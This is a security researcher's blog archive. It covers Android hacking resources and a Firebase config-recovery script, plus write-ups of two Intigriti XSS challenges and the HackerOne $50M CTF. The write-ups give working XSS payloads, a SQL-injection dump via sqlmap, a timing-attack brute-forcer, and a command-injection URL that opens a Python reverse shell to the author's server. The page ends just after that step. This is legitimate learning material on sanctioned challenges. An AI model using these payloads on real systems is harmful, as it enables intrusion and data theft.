$BLOG_TITLE

Android Application Hacking Resources

2020-01-13T00:00:00+00:00

These are links that I found interesting as I was (and still am) learning about Android application security and I’m putting it here in case it can help someone else!

Last update: 2020-02-12

Aggregators, news feeds, twitter threads, etc.

Come back to those every now and then to see if they have new content!

“android” HackerOne Hacktivity
Twitter thread with tons of great links
Android-Reports-and-Resources GitHub repository
awesome-mobile-security GitHub repository
#AndroidHackingMonth (HackerOne’s Android Hacking Month in February 2020)

Talks

Maddie Stone - Securing the System: A Deep Dive into Reversing Android Pre-Installed Apps
Baptiste Robert aka fs0c131ty - L’histoire de la découverte d’une backdoor signée OnePlus (It’s in French)
Ben Actis - Advanced Android Bug Bounty skills
Yekaterina Tsipenyul O’Neil & Erika Chin - Seven Ways to Hang Yourself with Google Android (From 2011 but still interesting to this day)
Dawn Isabel - Fun with Frida on Mobile (It’s for iOS but the same ideas can be used on Android)
Sebastian Porst & Google Play - Overview of common Android app vulnerabilities

Write-ups and blog articles

Bug Bounty Hunting Tips #2 —Target their mobile apps (Android Edition)
Quarkslab’s “diffing” blog posts (They have an unreleased android diffing engine, we can’t use it but the next best thing is reading about it!)
Configuring Burp Suite With Android Nougat

Twitter

Courses

Frida

Bypass Certificate Pinning

Drozer

Getting started guide

Semi-automation of dorking

2020-01-07T00:00:00+00:00

Nahamsec has an excellent presentation about recon in which he discusses, among many other things, the topic of “Digital Dumpster Diving” and google dorking.

This is mostly a manual process but I thought I could automate at least some of it, so here’s a simple form that will automatically generate the search links. Now all you have to do is open a bunch of tabs and sift through the information! The dorks themselves are from a list I have accumulated over time, sorry if I can’t credit the people I got them from.

The “app” is available on this blog page and at https://blog.deesee.xyz/dorks. I will update this over time with dorks that search for error messages and common info disclosures. If you have any ideas feel free to open an issue or a PR.

Query:

Feel free to open an issue or a PR if you want anything added to the list!

Transitioning from software development to security

2019-12-13T00:00:00+00:00

I’ve been a software developer for about 8 years, but as of last month I’ve made the switch to infosec and now I’m a security engineer on the application security team at GitLab. When I started thinking about making this move I looked for someone with a similar background documenting their experience and didn’t find much so I’m writing this for the next person who’s going to do the same thing. This isn’t a step by step guide, but rather just things that helped me and might help you.

The uniform at your next job

Note: My new job is still very much related to code, it’s just that I review it instead of writing it. Your mileage may vary if you’re looking for a pentester job.

Some context about me

I’m in my early 30s
I write code for fun, play hacking games and have been an enthusiast of this whole field since the early 2000s
I write code as a job since 2012
I have a Computer Science degree (I don’t know if it mattered to get my job, I suppose at this point my experience was more important?)
I have no certifications

Relevant experience

If you’re a senior developer/software engineer/whatever-you-call-it you probably don’t want to move to a junior role in your new career. The good news is that you don’t have to! It’s possible to build relevant experience while you’re doing your developer work. Here are the things that helped me.

Be the security person at your job

This might be harder in larger companies, but I worked in small-ish teams that had no dedicated security department. This is a great opportunity for you, the security-minded developer, to take on some security-related projects and have some real-world professional experience to talk about in your interviews.

Practice (CTF, Wargames, Bug Bounties)

How you do it doesn’t really matter, but get your hands dirty and practice some hacking. It will help you stay on top of what’s new in the security world and make you a better (more aware) developer too so it’s a win-win situation.

Learn how to defend

If you’re going to join a company’s security department you’re most likely going to need to know how to defend against the vulnerabilities, exploiting them is not enough. For web applications, taking the time to learn how to mitigate the OWASP Top 10 would be important. The toughest interview questions (at least for the type of role I was interested in) will often revolve around how to protect againt vulnerabilities and not how to attack them. Hopefully if you are a security-minded developer you were already doing this anyway!

Get involved in the community

Talking to people, sharing stories and helping each other is a great way to make friends and have fun but also to consolidate your knowledge. Chatting about your favorite CTF levels, writing a report about the great bug you found or explaining the basics to a newcomer will all help you have a firmer grasp on what you’re talking about. Go to conferences (a small, local one organized by a few enthusiasts is perfect, no need to go to defcon), join a security slack/discord/whatever channel, discuss on reddit, anything!

Conclusion

If you’ve made it here and you’ve been doing all of this already I believe that the takeaway is that you’re probably ready to make that move already so stop reading blogs and just go for it and apply for that infosec job. :)

Good luck!

Automatically recover Firebase Remote Config information in Android apps

2019-08-03T00:00:00+00:00

Firebase Remote Config is a service that allows developers to host and easily modify settings for their mobiles apps. It’s not supposed to be secret information and it’s not designed to be private, however automating the recovery of Firebase Remote Config is very easy and can reveal some details about the application’s inner workings. You can even get lucky and find secrets that should have never been there in the first place (I once saw AWS credentials!).

What you’ll need:

Google API key
Google app ID
Google project ID

Luckily all these things available in the strings.xml file of a decompiled APK. Here’s a Ruby script that recovers the values from a strings.xml file and gets the Firebase Remote Config data.

require 'nokogiri'
require 'httparty'
require 'json'

def get_string_value(xml, setting_name)
  value = xml.xpath("/resources/string[@name='#{setting_name}']").first
  unless value.nil? || value.content.empty?
    puts "[+] Found value for '#{setting_name}': #{value.content}'"
    value.content
  end
end

strings_path = "resources/res/values/strings.xml" # You'll likely want to take this path as a parameter
if File.exist?(strings_path)
  xml = File.open(strings_path) { |f| Nokogiri::XML(f) }
  google_api_key = get_string_value(xml, 'google_api_key')
  google_app_id = get_string_value(xml, 'google_app_id')
  unless google_app_id.nil?
    project_id = google_app_id.split(':')[1]
    puts '[*] Recovering Firebase Remote Config'
    response = HTTParty.post("https://firebaseremoteconfig.googleapis.com/v1/projects/#{project_id}/namespaces/firebase:fetch?key=#{google_api_key}",
                             body: JSON.generate(appId: google_app_id, appInstanceId: 'required_but_unused_value'),
                             headers: { 'Content-Type' => 'application/json' })

    puts response.body
  end
end

If the app doesn’t have the necessary config information or if the response from the HTTP request is

{
  "state": "NO_TEMPLATE"
}

then it doesn’t use Firebase Remote Config.

Finally, a response with data will look like this:

{
  "entries": {
    "key1": "value1",
    "key2": "value2",
    "...": "..."
  },
  "state": "UPDATE"
}

There you go! Nothing major but easy enough to include in your automation and Android recon.

Intigriti XSS Challenge 2 and how I lost time to a bad assumption

2019-05-26T00:00:00+00:00

Intigriti is once again offering us an XSS challenge. The first one had cryptic code and a complicated setup between the page and an iframe, but this time around the code is rather straight-forward. Let’s see if that makes the challenge easier. ;)

Analyzing the code

var b64img = window.location.hash.substr(1);
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
  if (this.readyState == 4 && this.status == 200) {
    var reader = new FileReader();
    reader.onloadend = function() {
      document.write(`
        <a href="${b64img}" alt="${atob(b64img)}">
          <img src="${reader.result}">
        </a>`);
    }
    reader.readAsDataURL(this.response);
  }
};
xhttp.responseType = 'blob';
xhttp.open("GET", b64img, true);
xhttp.send();

The hash of the current page’s url (minus the leading #) is assigned to b64img
A GET HTTP request is sent to b64img and the answer will be read as a Blob
If the HTTP request answers with 200, the Blob is readAsDataURL with a FileReader
Once the Blob is read, b64img, atob(b64img) and the data URL created from the Blob are inserted into the DOM

Main observations:

The hash of the URL somehow has to be a valid URL because we’re making an HTTP request from it and we expect a 200 response
That URL also has to be a valid base64 string because we’re sending it to atob(64) which is the JavaScript function to decode base64

Finding a valid URL

As it was the case for the last challenge, I don’t care about XSS payloads yet. It’s pretty clear either b64img, atob(b64img) or reader.result will be where we get XSS from, but there is a major challenge before getting there: crafting a valid URL that is also valid base64!

The way its coded, a value for b64img without a protocol (i.e.: http://) will make a request relative to the current domain (https://challenge.intigriti.io/2/). For example if b64img is ABC it will trigger a request for https://challenge.intigriti.io/2/ABC while if b64img is http://test.com it will trigger a request for http://test.com.

At this point I made the assumption that / wasn’t a valid base64 character (worked too much with url-safe base64 implementations lately!) and lost a ton of time trying a ton of things that made no sense until @mastjohnny made me realize that it is a valid base64 character indeed. Many hours were lost exploring data URLs, XMLHttpRequest and FileReader for strange edge cases that would help me here but I should have verified my assumption instead. :)

Eliminating invalid characters

I started a server on my machine and tried loading https://challenge.intigriti.io/2/#http://127.0.0.1. This resulted in the following (expected) error

Uncaught DOMException: Failed to execute ‘atob’ on ‘Window’: The string to be decoded is not correctly encoded.

I need to get rid of the . and the : because they are invalid base64 characters. Two transformations are needed!

Remove the . by changing the IP to a decimal IP: http://127.0.0.1 becomes http://2130706433 (See IPv4 Address Representations)
Remove the : by using a protocol-relative URL: http://2130706433 becomes //2130706433
- A protocol relative url will take the protocol of the parent page

With that I try https://challenge.intigriti.io/2/#//2130706433 and the result is the following error

GET https://127.0.0.1/ net::ERR_CONNECTION_REFUSED

The request went to https because I’m on the https version of the challenge. Let’s try http://challenge.intigriti.io/2/#//2130706433

Access to XMLHttpRequest at ‘http://127.0.0.1/’ from origin ‘http://challenge.intigriti.io’ has been blocked by CORS policy: No ‘Access-Control-Allow-Origin’ header is present on the requested resource.

There is no CORS header returned by my server so I need to add Access-Control-Allow-Origin: * to my response.

I can now reload the same URL and it loads without crashing!

XSS time

readAsDataURL returns a data URL which contains the Content-type of the resource loaded. For example the default challenge URL loads an image that turns into the data URL "data:application/octet-stream;base64,iVBORw0KGgoAAAANSUhEUgAAA0o...". This text is inserted straight into the HTML and I have control over the Content-type from my server so I set it to text/" onerror="alert(document.domain)"><!--. This is reflected in the HTML that is written in the document.write call like so

<!-- this -->
<a href="${b64img}" alt="${atob(b64img)}">
  <img src="${reader.result}">
</a>
<!-- becomes this -->
<a href="//2130706433" alt="ÿýµßNôë\u008d÷">
  <img src="data:text/" onerror="alert(document.domain)"><!--;base64,SGVsbG8gSW50aWdyaXRpIQ=="">
</a>

and the result is…

Success! I uploaded the simple HTTP server to my VPS, changed 127.0.0.1 to its public IP and submitted my solution. There were other ways to trigger the XSS but instead of listing them here I encourage you to go on twitter and find other write-ups documenting them.

Here’s the code used for my server.

#!/usr/bin/python3

from http.server import BaseHTTPRequestHandler, HTTPServer

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        message = "Hello Intigriti!"

        self.protocol_version = "HTTP/1.1"
        self.send_response(200)
        self.send_header("Content-Length", len(message))
        self.send_header("Content-type", 'text/" onerror="alert(document.domain)"><!--')
        self.send_header("Access-Control-Allow-Origin", "*")
        self.end_headers()

        self.wfile.write(bytes(message, "utf8"))
        return

def run():
    server = ('0.0.0.0', 80)
    httpd = HTTPServer(server, RequestHandler)
    httpd.serve_forever()
run()

Conclusion

Another fun challenge! This time around my key takeaways are:

Challenge your own assumptions, they could be making the challenge harder than it really is
Different representations of the same thing can help evade filters/validations, keep them in mind!

Thank you @intigriti and good luck to everyone for the prize!

Intigriti XSS Challenge - Solution and problem solving approach

2019-05-02T00:00:00+00:00

Intigriti released a fun little XSS challenge that required to craft a special URL that would be both used to assign an iframe’s src as well as being sent to an eval call to pop an alert(document.domain) - which was the objective of the challenge. But how do we get there? Let’s take a step back and walk our way through it.

Note: The final vulnerability only works in Chrome, so if you want to follow along I would recommend using that.

Analyzing the code

It’s not time to think about XSS or exploitation yet, first we have to understand the Javascript code we’re up against.

const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");
const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
iframe.onload = function(){ window.addEventListener("message", executeCtx, false);}
function executeCtx(e) {
  if(e.source == iframe.contentWindow){
    e.data.location = window.location;
    Object.assign(window, e.data);
    eval(url);
  }
}

The code takes the hash of the current page’s url (whatever follows the #), decodes URL entities from it and then replaces any instance of “script”, “<” or “>” by the string “forbidden”. The result of that is assigned to an url variable
An iframe is created in the current page and its src is the url that was just created, effectively loading that URL into the iframe
When the iframe is done loading, we start listening to message events and call executeCtx whenever that even is raised
The executeCtx function is defined
1. The function makes sure the event comes from the iframe
2. The event’s payload’s location property is overwritten with the current windows’s location, presumably to protect again redirection to another URL
3. Every property from the payload object is assigned to the window with the Object.assign(window, e.data) line (this means that whatever I send to executeCtx will be defined in the window… very interesting)
4. The url variable is eval‘ed

After reading that code, my first question was: what is the message event? Turns out there is an API for cross-origin communications that uses window.postMessage and that allows you to send objects to anyone listening to the message event. That’s new to me, interesting!

Getting XSS is not important yet

So we know the objective is to get an XSS and that eval(url) is obviously our target. At first I have absolutely no idea how the url is going to give us XSS but I don’t give too much attention to that for now. My current goal is simply to reach that eval. There are many steps I have to take until I can get anything to that eval call so let’s do that first and once I’m there I will be able to assess what’s available to me in order to get that XSS. Until then, let’s forget about it.

Step by step to the exploit

Getting JavaScript in the `iframe`

Maybe it’s the experience starting to kick in, but my first reflex for these challenges is to go for a data URL. Data URLs allow us to base64-encode our payload so that it conveniently bypasses the .replace(/script|<|>/gi, "forbidden") filter.

I try https://challenge.intigriti.io/#data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGknKTs8L3NjcmlwdD4=, which is base64 for <script>alert('hi');</script> and I get my alert! However alert(document.domain) doesn’t work from inside the iframe because it’s a data URL and doesn’t have a domain. We have an alert box but I want to pop it from outside of the iframe so I’m far from the end.

Posting a message to the parent `window`

The objective still being to reach that eval(url), I need to post a message now to run the executeCtx function. So I’m trying this API I just learned about with the following script: <script>window.postMessage("test", "*")</script>. The second argument of the postMessage function is the target origin, I read that it’s bad practice to put "*" as anyone will be able to intercept my message but I don’t really care as far as this challenge is concerned. So this results in the following URL: https://challenge.intigriti.io/#data:text/html;base64,PHNjcmlwdD53aW5kb3cucG9zdE1lc3NhZ2UoInRlc3QiLCAiKiIpPC9zY3JpcHQ+.

…Nothing. I have a breakpoint in executeCtx and I don’t hit it. Let’s go back to MDN to read how the postMessage function is called.

targetWindow.postMessage(message, targetOrigin, [transfer]);

targetWindow
A reference to the window that will receive the message. Methods for obtaining such a reference include:

Ah! postMessage has to be called on the window receiving the message. A little modification to the payload will do the trick: <script>window.parent.postMessage("test", "*")</script>. I want the message to be received by the main window so from the iframe that’s window.parent. The new URL is https://challenge.intigriti.io/#data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCJ0ZXN0IiwgIioiKTwvc2NyaXB0Pg.

Yes! Now I get a JavaScript error from inside executeCtx.

(index):31 Uncaught TypeError: Failed to set an indexed property on 'Window': Index property setter is not supported.
    at Function.assign (<anonymous>)
    at executeCtx ((index):31)

This is because the data is a string and we’re running into issues on the Object.assign(window, e.data); line. Let’s just send an empty object to begin with. The payload <script>window.parent.postMessage({}, "*")</script> results in the URL https://challenge.intigriti.io/#data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ+

The result is Uncaught SyntaxError: Unexpected end of input thrown by the eval(url) line. So it’s unable to parse valid javascript out of the url variable which has the value data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ+. That doesn’t look like JavaScript to me either!

Turning the URL into JavaScript

Now the objective is to get the eval(url) to parse valid JavaScript (I’m not thinking about XSS yet). I know pretty much anything can be valid JavaScript (see JSFuck if you need to be convinced) so I stepped out of the challenge page for a minute and ran eval('data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ+') in my console. Same error, as expected. “Unexpected end of input” means that the parser was expecting another token but reached the end of the string. My URL ends with a + which doesn’t really make a lot of sense as a final character in a JavaScript expression so let’s remove it. It will make my base64 string invalid but we’ll come back to that later.

> eval('data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ')
VM42:1 Uncaught ReferenceError: text is not defined
    at eval (eval at <anonymous> ((index):1), <anonymous>:1:6)
    at <anonymous>:1:1

text is not defined? What? At first I didn’t get where the text was coming from but I rolled with it. Ok sure… I ran text = 1 then reran my eval.

> text = 1
1
> eval('data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ')
VM70:1 Uncaught ReferenceError: html is not defined
    at eval (eval at <anonymous> ((index):1), <anonymous>:1:11)
    at <anonymous>:1:1

html? Oh! That’s right! The URL without the + at the end is valid javascript. Still don’t see it? Here is the URL with indentation and comments:

data: // a label for a goto
text/html; // divides the variable text by the variable html
base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ // evalutes the base64 variable and the PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ variable then returns the latter (see , operator)

It certainly isn’t coherent code, but it is valid JavaScript code (which I guess can be said about a lot of codebases, but I’m getting sidetracked). The + at the end of my string is simply a base64 artifact. I’ll continue working on my payload and if the final character is + I’ll add garbage until the result of base64 encoding ends with a letter which will make it a valid variable name.

Finally time to think about that XSS

So now I can call that eval with something that ressembles JavaScript… where do I put my alert(document.domain)? Once again I go back to trusty MDN to read more about data URLs and where I could put my alert.

data:[<mediatype>][;base64],<data>

The mediatype is a MIME type string, such as 'image/jpeg' for a JPEG image file. If omitted, defaults to text/plain;charset=US-ASCII

That ;charset=US-ASCII grabs my attention. Maybe I can put my payload in there? It even looks like a JavaScript variable assignment! So I try this in my console

> text = 1
1
> html = 1
1
> eval('data:text/html;charset=alert(1);base64,whatever')
Uncaught ReferenceError: base64 is not defined
    at eval (eval at <anonymous> ((index):1), <anonymous>:1:33)
    at <anonymous>:1:1

YES! The alert pops! It complains about base64 not being defined but that happens after the alert so I don’t care. Time to try it on the website! I change my payload to <script>window.parent.postMessage({text:1, html:1, base64:1}, "*")</script>hi intigriti. Remember the Object.assign(window, e.data) line that will take my posted message to define the text and html variables (I defined base64 but it wasn’t necessary). The hi intigriti at the end is simply to get rid of the + at the end of my base64 encoded payload. :)

The resulting URL is https://challenge.intigriti.io/#data:text/html;charset=alert(1);base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt0ZXh0OjEsIGh0bWw6MSwgYmFzZTY0OjF9LCAiKiIpPC9zY3JpcHQ+aGkgaW50aWdyaXRp and… it doesn’t work.

What’s great about data URLs is that you can put them in your address bar and see the result. This data URL data:text/html;charset=alert(1);base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt0ZXh0OjEsIGh0bWw6MSwgYmFzZTY0OjF9LCAiKiIpPC9zY3JpcHQ+aGkgaW50aWdyaXRp shows a “This site can’t be reached” message. I played with it a bit and discovered that the parentheses in alert(1) are breaking everything.

The final step

I was so close! But my alert doesn’t run… I spent a ridiculous amout of time trying alternate ways to invoke the function without parentheses until it occured to me that maybe I don’t need any of that charset= thing and maybe removing it could bypass the character validations that are breaking my URL. Now trying with https://challenge.intigriti.io/#data:text/html;alert(1);base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt0ZXh0OjEsIGh0bWw6MSwgYmFzZTY0OjF9LCAiKiIpPC9zY3JpcHQ+aGkgaW50aWdyaXRp and the alert(1) pops! This is it, one final modification and this is it.

https://challenge.intigriti.io/#data:text/html;alert(document.domain);base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt0ZXh0OjEsIGh0bWw6MSwgYmFzZTY0OjF9LCAiKiIpPC9zY3JpcHQ+aGkgaW50aWdyaXRp

Victory!

Note: This morning my chrome was updated and the URL above doesn’t work 100% of the time. I didn’t test extensively but I think it’s because the iframe is loaded before the message event listener is hooked. Adding a setTimeout to delay the postMessage call would probably fix the issue as suggested by @ephreet.

Conclusion

This was as much of a code review challenge as it was an XSS challenge. My key takeaways:

Understanding how the code you’re hacking works goes a long way!
Don’t concentrate too much on the end goal, plan intermediate steps and aim for those instead
Don’t panic when you have no idea how you’re going to solve the challenge (How the &@#^ am I going to get an XSS out of eval(url) ???), solve each step and the solution will become clearer

Thank you @intigriti I had a ton of fun! Congrats to everyone and good luck for the prize!

Yet another $50M CTF writeup!

2019-03-28T21:16:35+00:00

This is my writeup for the $50M CTF by HackerOne. This was my first proper CTF and I don’t have much experience in the bug bounty world either so everything was new from the beginning to the end, including the report-writing part. What I went for in this report was more of a “bug report to a program” style and not “blog for an audience” style. Everything was not as straightforward as the report suggests, I’ll add some notes to give more context here and there. In hindsight my report was probably way too “straightforward” and lacks a lot of details about how I actually worked to come to all those conclusions. I’ll be better next time!

Note: Anywhere you see W.X.Y.Z it’s my VPS IP.

So without furder ado…

Several vulnerabilities lead to Remote Code Execution and Arbitraty File Read on multiple servers

Summary

Tweeted image contained URL https://bit.do/h1therm to download an APK
APK API (35.243.186.41) is vulnerable to SQL Injection on username parameter and leaked location of server 104.196.12.98 through the devices table
Login form on 104.196.12.98 is vulnerable to timing attack on hash parameter
/update page on 104.196.12.98 is vulnerable to Server Side Request Forgery on update_host parameter
Local invoice system vulnerable to Local File Inclusion on page /invoices/new/pdfize using weasyprint’s attachment feature, which allows reading flag c8889970d9fb722066f31e804e351993 in main.py

Steps To Reproduce

For details on how an attacker can access the invoice system see the detailed description. These steps assume you have access to the system from your internal network

Visit the following URL: http://172.28.0.3/invoices/pdfize?d=%7B%22companyName%22%3A%22%22%2C%22email%22%3A%22%22%2C%22invoiceNumber%22%3A%22%22%2C%22date%22%3A%22%22%2C%22items%22%3A%5B%5B%221%22%2C%22%22%2C%22%22%2C%2210%22%5D%5D%2C%22styles%22%3A%7B%22body%22%3A%7B%22%3C/style%20%22%3A%22%22%2C%22%3E%3Clink%20rel%3Dattachment%20href%3D%5C%22file%3A//main.py%5C%22%20/%3E%22%3A%22%22%7D%7D%7D and download the PDF
Extract the attachment using a PDF reader or the pdfdetach command-line tool
Read the c8889970d9fb722066f31e804e351993 flag

Detailed description

The tweet

The image tweeted here contained a link to download an APK hidden with steganography. I used a tool named zsteg to extract the information from the image and obtain the URL https://bit.do/h1therm.

curl -s https://pbs.twimg.com/media/D0XoThpW0AE2r8S.png:large -o tweet.png
zsteg --bits 1 --channel rgb --lsb --order yx tweet.png

BLOG NOTES!
Unlike other brilliant people who got information from the binary patterns in the background of the image, I threw steg tools at the image until it worked. ¯\_(ツ)_/¯
The command I used is actually zteg -a tweet.png but there is a lot of garbage output so I refined it for the report to make sure it only outputs the relevant line.

The APK

I extracted the source code of the APK using a tool named jadx (jadx h1thermostat.apk -d h1thermostat-apk) then I created a Java app based on that source code to be able to encrypt and decrypt requests and responses sent to the API at 35.243.186.41, which is the Android application’s backend.

The program is the following:

import java.security.Key;
import java.security.SecureRandom;
import java.security.spec.AlgorithmParameterSpec;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import org.json.JSONObject;
import org.json.JSONException;

class RequestBuilder {
    public static void main(String[] args) throws Exception {
        switch (args[0]) {
        case "build":
            JSONObject obj = new JSONObject();
            obj.put("username", args[1]);
            obj.put("password", args[2]);
            obj.put("cmd", args[3]);
            if (args.length == 6) {
                obj.put(args[4], args[5]);
            }
            System.out.print(buildPayload(obj));
            break;

        case "parse":
            System.out.print(parseNetworkResponse(args[1]));
            break;

        default:
            break;
        }
    }

    private static String buildPayload(JSONObject paramJSONObject) throws Exception {
        Key key = new SecretKeySpec(
                new byte[] { 56, 79, 46, 106, 26, 5, -27, 34, 59, -128, -23, 96, -96, -90, 80, 116 }, "AES");
        byte[] arrayOfByte = new byte[16];
        new SecureRandom().nextBytes(arrayOfByte);
        IvParameterSpec localIvParameterSpec = new IvParameterSpec(arrayOfByte);
        Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        localCipher.init(1, key, localIvParameterSpec);
        byte[] cipherBytes = localCipher.doFinal(paramJSONObject.toString().getBytes());
        byte[] localObject = new byte[cipherBytes.length + 16];
        System.arraycopy(arrayOfByte, 0, localObject, 0, 16);
        System.arraycopy(cipherBytes, 0, localObject, 16, cipherBytes.length);
        Base64.Encoder encoder = Base64.getEncoder();
        return encoder.encodeToString((byte[]) localObject);
    }

    private static String parseNetworkResponse(String data) throws Exception {
        Base64.Decoder decoder = Base64.getDecoder();
        byte[] localObject1 = decoder.decode(data);
        Object localObject2 = new byte[16];
        System.arraycopy(localObject1, 0, localObject2, 0, 16);
        byte[] paramNetworkResponse = new byte[localObject1.length - 16];
        System.arraycopy(localObject1, 16, paramNetworkResponse, 0, localObject1.length - 16);
        Key key = new SecretKeySpec(
                new byte[] { 56, 79, 46, 106, 26, 5, -27, 34, 59, -128, -23, 96, -96, -90, 80, 116 }, "AES");
        AlgorithmParameterSpec algo = new IvParameterSpec((byte[]) localObject2);
        Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        localCipher.init(2, key, algo);
        return new String(localCipher.doFinal(paramNetworkResponse));
    }
}

Once compiled, I used the following bash script to play with the API a bit and discover that it seemed vulnerable to SQL injection.

payload=`java -cp org.json.jar:. RequestBuilder build $1 $2 $3 $4 $5` # Parameters are username, password, cmd, commandName (optional), commandArgument (optional)
response=`curl -s -X POST -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" --data-urlencode "d=$payload" http://35.243.186.41/`
java -cp org.json.jar:. RequestBuilder parse "$response"

After manual testing and then some poking with sqlmap I discovered that the backend was running on a database named flitebackend and that the credentials to log in the Android app were admin/password. Also in this database is the devices table which was obtained with the following sqlmap command.

sqlmap -u http://35.243.186.41/ --dbms=mysql --data "d=tamper" --tamper ~/full/path/to/tamper.py --batch --technique T --level=5 --risk=3 --dump -D flitebackend -T devices -C ip -p d

with tamper.py being the following python script

#!/usr/bin/env python
import subprocess
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    result = subprocess.check_output(["sh", "/full/path/to/tamper.sh", payload])
    return result

which in turn called this bash script

cd ~/full/path/top/javaapp
java -cp org.json.jar:. RequestBuilder build "$1" "123" "getTemp" 2>NUL
exit 0

It could have been done directly in python however I’m more familiar with bash. The result of this was that I could obtain the entire devices table. Most of the IPs were dead or internal and unreachable to me, however 104.196.12.98 was alive and accessible.

BLOG NOTES!
I hesitated before resorting to sqlmap. You know, the dreaded skid tag is looming everytime you use that. Since the ending date of the CTF was unknown, I decided to swallow my pride and go with the quick solution. Some good came out of this though and there is a new feature in sqlmap now! See this feature request I opened after completing this step. Props to the sqlmap maintainer who implement this super quickly.

The login page on 104.196.12.98 hashes the credentials then sends them to the server in a POST request in the hash parameter. I noticed that if I sent invalid input (a shorter string for example) the response was immediate, while an invalid user/pass but with a real hash took 500 ms quite reliably. This suggested that the hash was validated byte by byte and a timing attack was possible. After some trial and error it appeared that the timing was 500 * i where i is the 1-based position of the byte. I wrote the following C# application and was able to recover a valid hash: f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753f5db13d8

using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Threading.Tasks;

namespace HashTimingAttack
{
    class Program
    {
        const string Url = "http://104.196.12.98/";
        const string HashParamName = "hash";
        const int HashBytes = 32;
        private static readonly string[] PossibleValues = Enumerable.Range(0, 256).Select(x => ((byte)x).ToString("x").PadLeft(2, '0')).ToArray();

        static void Main(string[] args)
        {
            Random rnd = new Random();
            string hash = string.Empty;
            using (var httpClient = new HttpClient())
                for (int i = 0; i < HashBytes; i++)
                {
                    var desiredTime = (i + 2) * 500;
                    var @break = false;
                    foreach (var x in PossibleValues.OrderBy(x => rnd.Next()))
                    {
                        var attempt = (hash + x).PadRight(HashBytes * 2, '0');
                        var content = new FormUrlEncodedContent(new[] { KeyValuePair.Create(HashParamName, attempt) });
                        var success = false;
                        while (!success)
                        {
                            try
                            {
                                var milliseconds = GetTiming(httpClient, content);
                                Console.WriteLine($"[*] {milliseconds} ms for {attempt}.");

                                if (milliseconds > desiredTime && milliseconds < (desiredTime + 99))
                                {
                                    Console.WriteLine($"[+] Found {x}, verifying!");
                                    milliseconds = GetTiming(httpClient, content);
                                    if (milliseconds > desiredTime && milliseconds < (desiredTime + 99))
                                    {
                                        Console.WriteLine($"[+] {x} has been double checked and is correct!");
                                        hash += x;
                                        @break = true;
                                    }
                                    else
                                        Console.WriteLine("[-] False positive! keep going.");

                                }
                                else if (milliseconds < (desiredTime - 500))
                                {
                                    Console.Error.WriteLine("Picked a wrong branch!");
                                    Environment.Exit(1);
                                }

                                success = true;
                            }
                            catch (Exception ex)
                            {
                                Console.WriteLine($"[-] Request failed. Retrying. {ex}");
                            }
                        }

                        if (@break) break;
                    }
                }
        }

        private static long GetTiming(HttpClient httpClient, FormUrlEncodedContent content)
        {
            var sw = Stopwatch.StartNew();
            httpClient.PostAsync(Url, content).Wait();
            sw.Stop();
            return sw.ElapsedMilliseconds;
        }
    }
}

BLOG NOTES!
I had this great conversation with @thepsi on the Hacker101 discord server. It went something like

Me: It fails faster when I send it garbage. I can’t believe that hash is validated byte by byte… who would do that!?
Thepsi: That’s what I thought for a day, and now I have solved it.

Soooooo I build a tool for the timing attack. :) I’ll take this moment to shoutout Thepsi who helped me a lot by being my rubber duck and listening to me rambling.

Why C# out of no where? It’s my what I’ve been using professionally for many years and what I’m fastest/best at.

H1Thermostat (Flitebackend) admin page

The backend has 4 pages: /main, /control, /diagnostics and /update. After some fuzzing I discovered the port and update_host parameters on the update page. Anything else than an integer crashed the port parameter, however the update_host is sent straight to the command line with no validation. This can be verified with http://104.196.12.98/update?update_host=;%20whoami%20|| which reveals we are running commands as root.

I setup a netcat listener on my VPS (nc -lvp 82) and connected to it using http://104.196.12.98/update?update_host=%3E/dev/null;%20python%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22W.X.Y.Z%22%2C82))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3B%20os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call([%22%2Fbin%2Fbash%22%2C%22-i%22])%3B%27%20%26%3E1%20;%20echo

